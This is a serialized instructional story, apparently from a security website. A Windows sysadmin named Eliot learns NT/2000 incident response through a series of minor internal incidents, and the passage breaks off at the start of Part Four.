No Stone Unturned: Part One

by H. Carvey
last updated February 27, 2002

Eliot sat before the glow of his screen. It was early Monday morning, too early for most people to be in the office and still quiet enough for him to indulge in the ritual that burned away the pleasant and comforting fog of the weekend...strong coffee, e-mail, and a little Web surfing. Subscribing to several lists and having a bookmarked list of pertinent sites kept him in the loop on developments in the computing industry that might impact his day-to-day life. Add to that a liberal dose of humor, such as the UserFriendly Web site, and he'd developed a routine that he followed every Monday morning before the other employees of the telecomm company he worked for began trickling in and logging on to the network. After all, in any given week, it was this time that offered the only single, contiguous period of quiet.

As a system administrator (sysadmin or just admin for short) Eliot knew that as the other employees began arriving, things would quickly pick up. That was what the coffee was for, anyway…to wake him up, but also to prime his system to get ready to respond to the calls that would inevitably come. He could expect the usual calls for help as they began trying to log onto the network. They'd forget that they'd turned off their monitors on Friday when they left, or they'd left their laptops with the power cord unplugged but running over the weekend. Eliot handled all of these events in stride and with good humor, but he knew that he had to be awake to do so.

Every now and again, Eliot used this time to reflect back upon his short career, to see where he'd been and how far he'd come. Eliot had started out as a junior network administrator responsible for a couple of Solaris Web servers. He'd had the usual Windows 95 desktop provided by the company, but he much preferred the Solaris systems. Many times while researching an issue for one of his "babies", he'd strike upon something interesting, and couldn't wait to get home to his various Linux systems to see how the same issue applied there. Whenever possible, Eliot had attempted to automate any task he had by using shell scripts or Perl. He'd found that by adapting scripts he'd found on the Internet to meet his needs, he'd greatly reduced the amount of time he had to spend on repetitive tasks, such as log file collection, review, and archiving. Sometimes he did have to create something from scratch, but that was no problem. Besides, it was fun to pass his new creation around the office, and then step back into that creative haze when one of the senior admins said something like, "yeah, but can it do *this*?"

He hadn't given the Windows systems much notice, because after all, weren't they basically the old DOS systems with pretty pictures? Because of the initiative and persistence he'd shown working with the Solaris systems, he'd been ripped out of his comfortable and secluded little server womb and thrust up closer to the corporate level. Now he was responsible for managing and administering Windows NT and 2000 systems, not only as Web servers, but also as domain controllers and servers on the corporate LAN. Since he had a lot of interaction with the helpdesk when troubleshooting a user's issue, Eliot was often called upon to lend a hand in the desktop arena, as well.

Even though he'd switched platforms and the learning curve had been initially steep, Eliot had found, to his astonishment, that all the time he'd put into learning Perl programming would actually be of use. In it's own way, he found Perl on Windows systems to be equally as powerful as it's Unix counterparts. And with the addition of various command line tools he'd developed a pretty powerful toolkit that rivaled anything he'd had on his Solaris systems.

Even with the new challenges, all in all, things weren't bad. He continued to automate repetitive tasks, such as collecting and reducing EventLog data from the Windows servers. For example, he'd written a script that could go through the IIS Web logs, produce reports on a myriad of metrics (unique IP addresses, numbers of errors versus successful page requests, etc.). He'd also written scripts that combed through the logs looking for malicious activity, such as worms, or attempts to run 'cmd.exe'. He'd done similar things for the EventLogs on many of the key servers. He'd found that he could dump the output into a comma-delimited format that could be read by Excel (dumpevt.pl), and then save information culled from the reports in an Excel spreadsheet so that graphs could easily be produced. The Perl distribution for the Windows platform provided a rich set of functionality, essentially by providing wrappers around many of the Win32 API calls.

Eliot had also found that he had an ability to work and communicate with the people who used the systems. He felt equally at ease whether assisting a user, working with a customer to resolve an issue with their Web server, or explaining the effect of the latest bit of malware to the VPs. His boss liked that, and called him "a nerd who doesn't sound like a nerd."

At 8:52am, Eliot noticed that the contents of this coffee cup had become desperately low, and had gone from tepid to just plain cold. He considered actually getting up and fetching a fresh cup of this steaming elixir of the gods, but he knew the gods well, and they could be cruel. He'd leave the relative calm and safety of his little virtual world, and either find an empty glass carafe in the coffee machine growing progressively hotter, or a problem requiring his immediate attention would crop up the instant he was out of the room. As the thought of installing a video camera trained on the coffee pot flashed through his now-alert brain for the thousandth time, in one swift motion he locked his workstation, spun out of his chair, grabbed his coffee cup, and headed down the hall.

By now, many employees were at their desks, moving through their own Monday morning rituals. Even from across the room, he could see e-mail clients being opened, as several folks simultaneously sipped a hot cup of coffee and checked their voice mail. Such is the pulse of corporate America, as the giant awakes. As Eliot approached the break area where the coffeepot shared space with snack and soda machines, he saw Cynthia from HR chatting with a manager, Bob somebody. Wow, thought Eliot, this conversation must be important. Cynthia was always friendly and chatty, offering a cheery good morning or good afternoon as she passed by folks. Eliot was usually up

and at work much earlier than she was, so he was able to make it to the safety of his second cup of coffee by the time she showed up in the halls of the building. Caught unprepared and unprotected by that warm, comforting cloak of caffeine, many bristled at her pleasantries. But this time, Cynthia was serious...her arms were crossed high up on her rib cage with her shoulders drawn up, and her expression was stern and intense, almost grim. Eliot couldn't see Bob's face, as Bob was facing Cynthia. From what he saw, this was something pretty important, so as he approached to retrieve his coffee, he tried to remain unobtrusive. Yet as he started to step away from the break area, he heard Cynthia call his name.

"Eliot."

He responded. "Hey, Cynthia, good morning. What's up?"

She said, "Eliot, Bob and I need to talk to you. Do you have a couple of minutes?"

"Sure. No problem," he said.

Cynthia motioned Bob and Eliot into one of the many "team rooms" located throughout the building. These rooms had phones, tables, and white boards in them, and even network drops. They were smaller than conference rooms, and used by small teams of employees to get together and hammer things out. Eliot and the other administrators had used rooms like this when they'd worked out how to update the EventLog configurations on remote servers, and then to collect the resulting audit data.

Once inside the team room, Cynthia shut the door and took a seat. Eliot put his cup down and did the same, and Bob leaned against a wall, obviously agitated. Since he'd been brought into this meeting, Eliot decided that it was best to just see what was going on, to let either Cynthia or Bob talk first. Fortunately, Cynthia didn't let the awkward silence go on for too long.

"Eliot, we've got a situation and we'd like to ask for your advice with something."

"Sure, Cynthia. What's up?"

Cynthia let out a slight sigh. "Bob's seen some unusual things on the network lately."

Eliot turned to Bob, who was still leaning against the wall, with his arms folded across his chest. Eliot blinked and held the silence for one very pregnant second, waiting for Bob to say something. "What kind of things, Bob?"

Bob cleared his throat. "We've been upgrading some of the network devices…routers, switches, and even some of the firewalls. One of the things we've started doing that we hadn't been in the past is logging. Each of our network engineers now uses a unique name and password combination to log on, so we can track activity. Well, lately we've noticed that there are a lot of failed log-in attempts to these devices, using our old account names."

Eliot was somewhat incredulous. "This sort of thing is bound to happen. Maybe some bored kid on the Internet found some IP addresses that belong to us, and is just trying to see what he can find."

"The IP address that the attempts are coming from are from right here on our own network," said Bob.

With that, the conversation took a hairpin turn, and Eliot's mood became more somber, matching Bob's. Eliot had dealt with mistakes made by users and administrators alike in the past, but this was something he hadn't seen before…someone within the company purposefully trying to gain access to devices on the network. If this sort of thing had been going on in the past, no one was the wiser…there hadn't been any auditing and logging performed on the network devices. Now that is was being done, the network engineering staff was getting a whole new view of what happens on the network.

Eliot thought for a moment, and then turned to Cynthia. "So what can I do?"

"We'd like you to take the IP address from Bob, and take a look at the computer that's using that IP address. We don't know if this is some kind of virus or something, or if it's the employee doing these things themselves. Can you find out for us, without causing a scene?"

"Sure," responded Eliot. He asked Cynthia a few more questions, and determined that going directly to the employee's computer was out of the question. Cynthia was concerned about getting any rumors or speculation started, particularly when they didn't really have a clear idea of what was going on.

Before the trio broke up, Eliot asked Bob about the nature of the traffic he was seeing. All of it was telnet traffic, meaning that the failed login attempts were being made against the telnet server running on the various network devices. Bob told Eliot that some of the firewalls had already been upgraded, and didn't have telnet servers running on them because they were being managed through another means. However, these devices were showing the initial TCP communications, the SYN packets, being dropped, as if someone were trying to login. Armed with that information, Eliot felt that he had enough to get started, and promised to keep Cynthia and Bob informed of this progress.

Once he got back to his office, Eliot set about the task of trying to find out what was going happening. There wasn't really any clear idea of how long this sort of activity had been going on, so he couldn't rely on searches of file times. All he knew was that these failed attempts to access these devices were coming from on system in particular, and that Bob was going to have logs of this activity available later in the day, should Eliot need it. All Eliot really had at his disposal at this point was the fact that the corporate infrastructure was primarily a flat NT domain with a smattering of Windows 2000 systems, and he had a domain admin account.

Armed with the IP address, Eliot started by using the 'nbtstat' command native to NT and 2K to determine the system's NetBIOS name and the logged on user. Armed with that, he then enumerated the available shares and found the ubiquitous hidden administrative shares he was expecting. He then mapped the C: drive from the remote system to his own, and began to look for clues by examining files on the remote system, via Windows Explorer.

After almost a full hour of looking through folders and not finding anything more suspect than a couple of "hacker" text files and a back issues of Phrack on the system, Eliot was just about to give up and tell Cynthia that he hadn't found anything. In particular, he hadn't found any files associated with some of the trojans and viruses he'd been reading about lately. The last things he opted to do were collect the EventLogs from the system, and use a free tool he'd found on the Internet to enumerate all of the currently running processes on the system. He did find a process called 'telnet.exe' running, so he figured he'd found something to take to Cynthia. Eliot's final act for Monday was to send Cynthia and Bob an e-mail, explaining what he'd found.

Later that week, Eliot was attending an NT users group meeting with his friend Steve. Steve hadn't had the benefit of an education steeped in the mysteries of Unix, as he'd been using Windows systems from a very early age. Eliot wasn't a regular to these meetings, but he'd go along with Steve whenever there was something interesting planned, such as a product demo or someone from Microsoft speaking.

During a break in the meeting, Eliot started to tell Steve about his conversation with Cynthia and Bob on Monday, and what he'd done. Steve listened intently for a few minutes and started to ask questions.

"Did you check the contents of the 'Run' key?"

Eliot paused. "Uh…no. Why would I do that?"

Steve took a sip of his Coke. "You said that Cynthia had mentioned a virus or something. It sounds more like a trojan or a worm, but either way, those things need a way to be persistent, right? You know, to be running when the box is bounced? So what they do is create an entry in a Registry key so they get started when the box is started. It just happens that the 'Run' key is pretty popular."

Eliot was bemused. He'd read a lot of the reports from anti-virus companies on various bits of malware, but hadn't really picked up on the Registry issue.

"You might also want to check other places were programs get started automatically," said Steve.

"Like where?"

"Like the StartUp directories," Steve said with a devilish grin. That made sense, Eliot thought, so why hadn't he thought of it.

"You said this was telnet activity, right?" asked Steve.

"Yes, that's what the network manager said. I did see that telnet was running on the system."

"NT, right?"

"Yes."

"Did you check the running services?" asked Steve.

"No, I didn't do that. What's there?"

"Maybe nothing," said Steve. "But you'd want to check, just in case that telnet you found is a server and not a client. Since the system is NT, did you check the contents and LastWrite time of the Telnet Registry key?"

Confronted with Eliot's blank stare, Steve chuckled, and continued. "The telnet client on NT is a GUI, and a list of the last 10 clients and ports connected to are maintained in the Registry. Whenever a new entry is added, or the order is changed, the LastWrite time of the Registry key is updated, much like the last modification time on files. If this time corresponds with one of the attempts to access a router or switch, then you'll know that the telnet client was used."

This was all good information that Eliot wished he'd had available before looking at the system. As it was, Eliot felt as if he'd approached the situation with too little knowledge, and no plan whatsoever. As it was, he hadn't been able to give Cynthia and Bob any real information about what was happening. He'd thought that by not finding any of the files that various viruses use, he'd done a pretty thorough search. As it was, he really hadn't done a very thorough examination at all. Eliot decided that he'd better get with Steve and compile a list of tools and utilities he could use. And he'd better put together a plan for using them.

To read Part Two of this series, please click here.

No Stone Unturned, Part Two

by H. Carvey
last updated March 27, 2002

Part II

A lone figure sat in front of a computer monitor, silhouetted in its cold, blue glow. The dark, cave-like room hummed with the life of high-powered computer systems and their electrical lifeblood. The figure sat, seeming unmoving for minutes on end. The stillness was

occasionally broken with movement as the figure raised a steaming cup to his lips and sipped.

Eliot had spent the early hours of the morning researching something Steve had told him about the other week…something about LastWrite times on Registry keys. He'd gotten better at searching the miasmic labyrinth that is the Microsoft Developer's Network site, and could finally at least get responses back that were in the ballpark of what he was looking for. Searches of the Internet in general revealed little of use, other than the general fact that these values played a role similar to the last modification times on files. From his experience with Unix systems, Eliot immediately saw the usefulness of this information.

After searching and reading for a while, Eliot had stumbled across a Perl script called keytime.pl that actually retrieved the LastWrite times from Registry keys and translated the 64-bit value into something readable. This script had several advantages for Eliot, the first of which was that it was written in Perl, a language he understood. Secondly, it was free. Third, because the script was written in Perl, it laid exactly what he needed to know with regards to the LastWrite time. Finally, the site had a lot of other scripts, many which looked very useful.

In his searching over the past week or so, one thing had become very clear. While there were many sites that talked about how to deal with Linux and the various flavors of Unix in the face of a security incident, there was almost nothing of a similar caliber available regarding the Microsoft operating systems. In fact, Eliot had just about arrived at the conclusion that the default behavior, if any of the public lists were to be believed, for NT administrators was to either ignore the incident, or simply reload the operating system and applications from clean media, without even figuring out what happened. He'd run across a couple of public threads in which the administrator seemed to have made a copy of the victim system's hard drive prior to reloading the platform from the original CDs. In several cases, Eliot had read posts in which the administrator had suspected something was wrong with a particular NT system, and had port scanned it with nmap. While that sounded reasonable enough, the administrator then proceeded to compare the results of the port scan to a list of default trojan ports. He didn't see how it made much sense to do that, and thought of it as a waste of time. On various Linux systems he'd done basic troubleshooting on, he'd used commands to retrieve information from the system prior to deciding whether or not to unplug it from the network, or even just shut it down. A great deal of information exists in memory on a running system generally referred to as volatile system information, such as running processes and network connections. He'd used commands such as "fuser" or "lsof" to determine the port-to-process mapping, showing the processes that were listening on ports listed in the output of the netstat command. Using known good copies of these tools that had been burned to a CD proved to be an effective approach to incident response, and Eliot didn't see why he couldn't do something similar for NT and 2K.

Deciding to put together a list of tools was one thing. Finding the tools was quite another matter. Many of the tools he'd used on Linux systems had been part of the distribution. Eliot started by compiling a list of functionality he thought he'd need, and then tried to find one or two tools that would provide him with those capabilities. When working with Linux systems, he'd statically-compiled his tools, and then protected them by burning them to a

CD. That way, he'd had a set of "known good" tools that he knew for sure hadn't been compromised or trojaned. After all, just about every rootkit that was available for Linux systems did just that. However, NT is an entirely different beast, thought Eliot. First off, there wasn't much in the way of rootkits available for NT systems. There had been one that was being developed, but it didn't seem to be in widespread use. Second, due to the NT architecture, statically compiling tools was next to impossible. Adding the dynamic-link libraries (DLLs) to the CD itself along with the tools didn't do much good, either, because those DLLs that were already loaded in memory couldn't be removed without possibly damaging parts of the system itself, such as the Explorer shell.

Eliot decided that some of the tools he needed were commands that came with the NT distribution itself. The same was true for 2K, as well. For example, one of the first programs he felt he needed to include was the command interpreter, cmd.exe. After all, many of the programs he would need to use were run from the command prompt, and there was always the chance someone would find a way to trojan just about any program on the compromised system. In a dry run of the first iteration of his toolkit CD, Eliot had found that the cmd.exe from one system didn't work on the other. That meant he'd need either two separate CDs, or two separate folders on the same CD, once he'd tested out all tools he collected. Other programs he'd decided to use from a clean system included netstat.exe and net.exe for network connections, doskey.exe for command history, at.exe for scheduled jobs, and hostname.exe and ipconfig.exe for system configuration information.

Eliot was surprised at the number of useful and freely available tools he'd found on the web. At the FoundStone web site, he'd found fport.exe and the Forensics Toolkit. He was amazed to find how useful fport.exe was, as it provided the process-to-port mapping he'd been searching for, showing which program was using which port to listen for connection attempts. Eliot was also amazed the more sysadmins didn't seem to know about the existence of this program. Many times, typing "fport" at the command prompt would give the administrator certainty where port scanning and comparing the results to a list of default trojan ports tended to only add to the confusion. He'd also found that the SysInternals web site had quite a number of extremely useful tools, many for providing a thorough listing of process information, such as pslist.exe, handle.exe, and listdlls.exe. There were other tools at the site, such as psuptime.exe for determining how long the system had been running.

Suddenly, the ring of his phone shattered Eliot's concentration. Shaken, he looked at his watch and realized it was after 4pm. Geez, he thought. He'd been at this Internet searching and reading for most of the day. The phone was within easy reach, but it took him until the third ring to answer it.

"Hello," he said.

"Eliot? It's Dave."

Dave was an administrator in another office. After the last incident Eliot had dealt with, he'd put out the feelers to other administrators in the company. He'd contacted them about tools, how to respond and deal with incidents, and how to go about tracking distributed attacks. He was surprised to learn how poorly prepared they were to deal with incidents across the

company. When Eliot had asked which tools the various administrators preferred to extract and consolidate the EventLogs from critical systems, for example, he'd received some surprising answers. Most of the admins weren't bothering to review the EventLogs, and some had even admitted that they hadn't even enabled auditing on their critical systems. The reason most often stated was that there was too much information and it was too difficult to understand.

Eliot remembered that Dave administered several NT and 2K systems in one of the offices on the West Coast.

"Hey, Dave, what can I do for you?"

"I think I've got an incident here."

Eliot sat up, suddenly interested. "What's that?"

Dave sighed. "I think I've got an incident on my hands. You seem to have some experience with this sort of thing, so I thought I'd give you a call and see what you thought."

"Okay. So what's up?"

"Well, after those emails about the EventLogs the other week, I figured I'd turn on some auditing and see what happened. I figured I'd start with something easy, like auditing successful and failed logon events. I set this on our PDC, BDC, and a couple of the servers. For the most part, all I've seen so far is when folks here login in the morning, and every now and then someone types their password wrong."

Eliot understood. He'd done the same thing, and was seeing the same things.

"So, Dave. When you said you had an incident, what did you mean?"

"Well, yesterday I saw a ton of failed logins into our PDC, BDC, and one of the other servers. They were all coming from one user in another office that's in our domain."

Eliot knew that the default settings for NT and 2K EventLogs didn't provide for a lot of room for recorded events, particularly when auditing was enabled.

"Dave, did you save these events?"

"No, but I can send you the events. They're still in the logs."

Eliot thought for a moment. "Yeah, why don't you do that. Save all of the entries, and send me the ones you're worried about."

"Sure thing. I'll get them out to you right away."

"Thanks, Dave."

With that, Eliot hung up. Things were certainly starting to happen. He began to think that a lot of incidents were even recognized simply because the administrators weren't watching. After all, that's what the logs were…the administrator's eyes into the activity of the system. If auditing isn't enabled and events aren't being logged, then how does an administrator decide whether a particular anomaly is a security incident, or simply a misbehaving application?

With that, Eliot decided to call it a day early. He didn't want to wait around for Dave's email, and besides, the logins had failed. Whatever was going on, the user hadn't gained access to the systems. It could wait.

The next day, Eliot got in early and was looking through his email when he saw Cynthia walk by his office. A thought occurred to him, so he jumped out of his seat and bolted to the door.

"Hey, Cynthia!" he shouted, trying to get her attention before she disappeared into some meeting.

"Yes? Eliot! Good morning. How are you?"

"Fine, thanks. Hey, I've got a question for you. I'm waiting on some more information, but an administrator from another office found something that looks like a user from another office tried to access a couple of his servers. Since this involves an employee of the company, who should I tell about this?"

Cynthia thought for a moment. "You said you were waiting for more information. What have you got so far?"

"Well, not much. I was just checking my email to see if what I was waiting on had arrived yet."

"What geographic area are we talking about," Cynthia asked?

"West Coast."

"When you know more, let me know. If it looks like it's something that needs to be addressed through HR, we can contact the rep for that area, and have them contact the employee's manager. But be sure to let me know…if it ends up being something serious, we'll definitely need HR involved, and we might have to contact legal counsel for the company."

"Okay, thanks. Will do."

With that, Eliot went back to reviewing his email inbox. He found the email from Dave he'd

been looking for and opened it up.

After reading the email twice, Eliot was confused. Dave had said that he'd seen "a ton of failed logins", but there were only three listed in the email. One of the failed logins was from the EventLogs from the PDC, the other two from the BDC. Eliot figured that either Dave had misunderstood what he'd asked, or had been in a hurry and provided only a representative sampling of the failed logins. However, Eliot felt that the only way to really be able to speak from a position of authority in this issue, he had to have all of the available information, so he put this in an email to Dave, asking for clarification.

Later in the day, Eliot received an email response from Dave. The email said, quite simply, "that's all there is." This didn't seem to be right. First, Dave had sounded pretty emphatic when he'd said there'd been "a ton of failed logins". Second, one or two failed logins didn't seem to be indicative of an attack. In fact, it didn't even seem to indicate a bored user who was just playing around on the network. Just to be sure, Eliot decided to send out a quick email asking other administrators if they'd seen similar activity. Also, he figured he'd have to call Dave directly to clear up the issue of how many failed logins were actually available, and how many systems were affected.

Next Time

In the third installment of "No Stone Unturned", Eliot gets to the bottom of this unusual incident, finds some more tools, handles another incident, and learns a thing or two along the way. Stay tuned.

To read Part Three of this series, please click here.

No Stone Unturned, Part Three

by H. Carvey
last updated April 30, 2002

Introduction

This is the third installment of a five-part series describing the (mis)adventures of a sysadmin named Eliot and his haphazard journey in discovering "the Way" of incident response. As we left off last time, Eliot had just begun compiling a list of tools that would be helpful in incident investigation when he was interrupted by a call from Dave, a sys admin with a branch office on the West Coast. Dave had asked for Eliot's assistance with an apparent incident. Now, having begun an investigation, Eliot was baffled and had asked Dave for some clarifying information.

Part III

Eliot pondered Dave's response for a long time. Why would Dave have said that he'd found "a ton of failed log-ins" to his servers, yet only have this relatively few to show for it? His e-mail included only the three EventLog entries he'd retrieved. On top of that, Dave seemed to have decided not to simply extract the EventLog entries in text format, but rather open the entries in the Event Viewer and make screen captures. This made for three very large

bitmaps as attachments to his e-mail.

Eliot decided to call Dave again, and ask him about the situation, rather than play "e-mail tag" throughout the day. Dave answered on the second ring.

"Yeah?"

"Dave, it's Eliot. I need to ask you a couple of questions about the failed log-ins you sent me."

"Sure. Shoot."

"Well…uh…first of all, I guess I'm a little confused. I thought you'd said there were several entries, but all you sent me were three entries from two servers."

Dave was quiet for a moment. "Yeah, that's all there was."

Eliot paused, considering how best to ask the next, obvious question. "Well, I guess I missed something along the way. Why would you tell me that there were a bunch of failed log-in attempts, when there were in fact only these three?"

Dave's response came quickly. "I saw the EventLog entries and thought the servers were under attack."

Eliot noted a palatable increase in the tension in Dave's voice. Something in the bitmaps he was looking at on his monitor captured his attention, and a thought leapt into his mind. "Dave, you called me yesterday at about 4 PM my time, making it around 1 PM your time, right?"

"Yeah, I guess."

"Well, according to the screen captures you sent me, these failed log-ins all occurred just before 9 AM, your time. Are the system times accurate?"

"Yeah, I guess so."

Eliot found himself in a fairly awkward position. Dave was obviously trying to do well, and had incorporated some of the things Eliot had suggested. Yet, there still seemed to be a long way to go with regards to really understanding, reporting, and handling incidents. Eliot decided that the best thing was to be direct.

"Dave, if you felt you were under attack, why was it four hours before you said anything to me?"

It was quiet on the other end of the phone. Eliot felt he'd made his point, and wanted to break the tension. Eliot didn't want to scare Dave off from ever looking at his EventLog entries, or reporting an incident, again.

"Forget it, Dave. The point is that you found the entries and you did something."

"Yeah, I know. I looked into it, but I haven't found anything yet."

This caught Eliot by surprise: "You looked into it? What did you do?"

"After I sent you the e-mail, I wanted to see what the user was up to. I thought maybe he was trying to hack my servers, or he had a virus of some kind, like Nimda, that was trying to map drives. So I mapped the user's drive and checked out some files. I haven't found anything yet."

Eliot thought for a moment: "What do you mean, Dave…What did you do?"

With that question, Dave seemed to open up a bit, as if he'd been asked to present his technical skills and show how adept he was. "After I mapped his drive, I wanted to check out some files. Since we use Eudora for e-mail, it was pretty easy to copy the files for his mailboxes and check them out. I read through it and didn't find anything, just some business and personal junk. I copied his entire attachments directory to my hard drive, and scanned it with anti-virus software. I didn't find anything, so I copied a couple of other directories, and still didn't find anything. There weren't any macro viruses in the Word and Excel documents I found, so it might not be a virus. I scanned his machine with a port scanner, and found a couple of odd ports open, so I checked them against a list of trojan ports I found on the Internet."

Eliot took a deep breath and held it. He didn't want Dave to know how disappointed he was. He couldn't believe what he was hearing. It was as if Dave had gone off and conducted this "investigation" of his without thinking about the possible consequences of his actions. Eliot couldn't help but think if this incident did involve malicious actions from this user, Dave's actions were tantamount to spoiling a crime scene. Eliot's next thought was to try to find out as much about what Dave had done, and try to salvage the situation.

"So, did you find any trojans or anything?"

"No, I haven't found anything yet. It's funny, too, because he's got a couple of open ports on his system that aren't the normal NetBIOS stuff, but none of the files I've copied and scanned show any signs of being backdoors or anything."

Eliot thought for a moment. "Dave, what makes you think this guy has a trojan or virus or anything on his system?"

Dave paused for a moment. "Well, there's the open ports thing, and the failed log-in attempts on my servers. The only other thing it could be is that he's trying to hack into my servers."

"Okay, Dave. Let me get back to you on this. I'll check it out. Just don't do anything else without checking with me first, okay?"

"Sure, Eliot. No problem."

Eliot thought for a moment after ending the call with Dave. Then he decided to give the system administrator for that office a call. He looked up Ed's number in the company directory, and dialed. When Ed picked up, Eliot made some small talk, and then got to the point of the call.

"Ed, have you had any problems with one of your users?"

"Problems? Like what?"

Eliot told Ed about the incident he'd discussed with Dave.

"No, we haven't had any viruses or anything like that. We did have some fun with some spyware that one of the marketing guys downloaded and installed, but I keep updated copies of tools that find that stuff on hand."

"Ed, could I get you to do me a favor? Could you go check out the user's system, and run a scan with the latest anti-virus definitions?"

"Sure thing, Eliot. Let me check it out and I'll give you a call back. I want to take a look at these open ports myself."

"Thanks, Ed. Let me know if you find anything."

By now, Eliot craved the thing he needed most. Coffee. Hot coffee. He pushed his chair back aware from his desk and stretched. After sitting for so long, moving was difficult, almost painful. Maybe it was the tension. He couldn't believe what Dave had told him, but he didn't want to think about it for a while. His body was craving caffeine. As he stepped out of his office, he was struck by an intense flash of pain. He realized that it was just normal lighting, and that he'd been in his cave for a little to long. He moved down the hall with his fingertips lightly brushing the wall to his left, and used his coffee cup like a blind man's cane. Eventually the pain and white spots faded to reveal that he was about two feet from the coffee urn…and Cynthia.

"Hey, Cynthia, how're you doing?"

"Eliot! Are you okay?"

"Oh, sure. I've just been sitting in my dark hole of an office for far too long."

"Poor boy! You need to get out more."

"Yeah, I know. Hey, let me ask you something. Do we have any kind of policy that says it's okay for duly authorized representatives of the company to monitor a user's computer?"

Cynthia thought for a moment. "No, we don't have a consent to monitoring policy for the employees."

"What about a computer use or acceptable use policy, or a privacy statement?"

"No, we don't have any of those. Well, not officially. The HR Director took our input and sent them up to corporate a couple of months ago, but I think they're still sitting on Corporate Counsel's desk."

"So, basically, what would happen if we checked out an employee's computer and he ended up getting fired based on what we found?"

"Well, I'm not a lawyer, but there have been case studies in the HR journals where the terminations in cases like that have been ruled wrongful, and the former employee awarded quite a bit of money. But I guess it really depends on the case, and what a lawyer says."

Eliot hesitated. "I thought so. I remember reading something like that on the Web, but I didn't remember the specifics." Eliot's mind was reeling with the implications of Dave's actions. In fact, it was now even possible that Dave would be in some sort of trouble if Eliot were to tell anyone what happened.

"Why do you ask?"

"Oh, nothing in particular. I was just talking to another system administrator about some activity on the network, and it turns out someone might have looked at files on another user's hard drive."

Cynthia seemed to wake up and become more alert. She looked at Eliot long and hard for several moments, and then said, "Well, if you find out anything specific, let me know. We can't just have users looking at other user's hard drives. Also, anything affecting employees directly, especially anything that may lead to termination, needs to be brought through HR. Whatever it is, it may also need to go through Legal Counsel, if it might cause the company to incur liability."

"Uh, sure. Okay." Eliot was even more nervous about what he'd discussed with Dave, and decided to shift tracks. "On a completely different note, do you know Dave Campbell?"

"Oh, yes, he's another one of our administrators. I remember him because he was hired from the police force. It seems he was pretty good with computers and got some of the Microsoft certifications before he stopped being an officer. I think he's got a degree in criminal justice, with a minor in computer science."

"You mean he was a cop?" Now Eliot was really confused. How could someone who'd been a police officer, and was trained in the handling of evidence, take the actions Dave had?

"Yes, he was. As a matter of fact, he was a police officer for about six years."

Things just kept getting more and more interesting for Eliot. So Dave had been a cop, eh? If that was the case, and he had all of this experience and education, Eliot thought to himself, wouldn't it stand to reason that Dave would also understand things like searches and rules of evidence?

Eliot was back in his office and going through e-mails when his phone rang. It was Ed calling back.

"Did you find anything?" Eliot asked.

"Not on the user's computer. I updated his anti-virus definitions and ran a scan. The drive came up clean. I even checked out the ports on the system, and didn't find anything."

"What did you do to check out the ports?"

"Well, I started with the usual netstat output, then grabbed the process list with pslist.exe from SysInternals.com. Then I used FoundStone's fport.exe to get the process-to-port mapping, and finished up with SysInternal's listdlls.exe. The cool thing about listdlls is that it gives you the full path and command line used to launch the process, so you can pretty much tell whether the process is legit or not. I even ran pulist from the Resource Kit to see who owned the processes. After all that, I had a pretty good snapshot of what was happening on the box, and to be honest, there just wasn't anything out of the ordinary."

"What about the open ports?"

"Just client ports used by the browser and RPC on the system, that's all."

"So you didn't find anything then."

"Well, now, I didn't say that. While we were running the anti-virus scan on the system, I chatted with the user about what he'd been doing, and I think I solved your little mystery."

"Really?"

"Yeah. We'd had a problem with one of our printers, and the user was browsing the domain looking for a printer. Unfortunately, he really didn't have much of an idea of what he was looking for. But that accounts for the failed log-in attempts, right down to the timeframe."

"Ah, okay. That makes sense. Thanks for your help."

"No problem. You need anything else, let me know."

So that was it. Ed had found the problem, and hadn't had to rifle through the files on anyone's hard drive. Eliot figured he better give Dave a call back before anything else happened. When he got him on the phone, Dave seemed a little distracted. Eliot figured

he'd cut to the chase and just let him know that the mystery had been solved, but Dave didn't react with anything he could call interest. So Eliot thought he'd try to draw Dave out with small talk.

"So you used to be on the police force, eh?"

"Yeah, I used to be a cop."

"So what did you do?"

"The usual cop stuff. Tickets, domestic stuff. Nothing with computers, though."

"So what got you into administering systems?"

"I was always interested in computers, and I got my minor in computer science. This seemed like something interesting to do."

"So I guess you know about how to conduct investigations and gather evidence then."

"Yeah. Why?"

"Well, I was just thinking that when you found those failed log-in attempts, you sort of reacted in an un-cop-like fashion."

"Oh?" Eliot immediately regretted what he'd said. He could almost hear Dave clamming up again.

"What I meant was that if something really had been going on, you'd be the first one who'd want to preserve evidence. You know, preserve MAC times from files, that sort of thing."

There was a pause on the other end of the line. "Uh, yeah, I guess I should have thought of that. But I just wanted to find out what was going on, in case someone was hacking into my server."

"But no one was really hacking anything."

"Yeah, but I didn't know that at the time."

"Okay, hold on a second." Eliot had a point to make, but he also wanted to diffuse the situation. After all, there was no reason to alienate Dave, or worse yet, make an enemy of him, but he wanted to make his point.

"Dave, you had three failed log-ins across two servers, and you waited four hours before saying anything. It couldn't have been that important."

"Look, I thought someone was trying to hack my servers. I started to look into it, but something else came up."

"So what made you decide to map the user's drive and look through his files?"

"I thought he might have a virus or something."

"Okay, I got that. But now, instead of having a situation where a user was hacking or had a virus, we've got a situation where a system administrator abused his power, and violated a user's privacy."

With that, Eliot couldn't even hear Dave breathe. Eliot got the feeling that maybe his point had been made.

"So, what're you going to do?" Dave finally asked.

"Look, from now on, if you find something unusual, call me before you do anything else, okay?"

"Yeah, sure. No problem."

With that, Eliot figured he done his good deed for the day. He'd also done a lot of thinking about how not to run an incident response investigation. He realized that steps had to be taken to preserve potential evidence when approaching an incident, and that some of the things that could be done, such as port scanning a system from the network, were exercises in futility. Eliot also realized that whatever tools he used, he had to keep two things in mind. One was to be aware of how the tools he used worked, and the other was to have a plan when approaching an incident. It was better to think things through ahead of time than to make serious mistakes in the heat of the moment. With that, Eliot decided to continue his search for tools and utilities, and to develop and document a methodology.

Next Time

In the next installment of "No Stone Unturned", Eliot conducts an investigation of his own. Stay tuned.

To read Part Four of this series, please click here.

No Stone Unturned, Part Four

by H. Carvey
last updated May 27, 2002

Introduction

This is the fourth installment of a five-part series describing the (mis)adventures of a sysadmin named Eliot and his haphazard journey in discovering "the Way" of incident response. As we left off last time, Eliot had managed to resolve a nagging minor incident, one which illustrated the need to have specific incident response procedures in place

Part IV

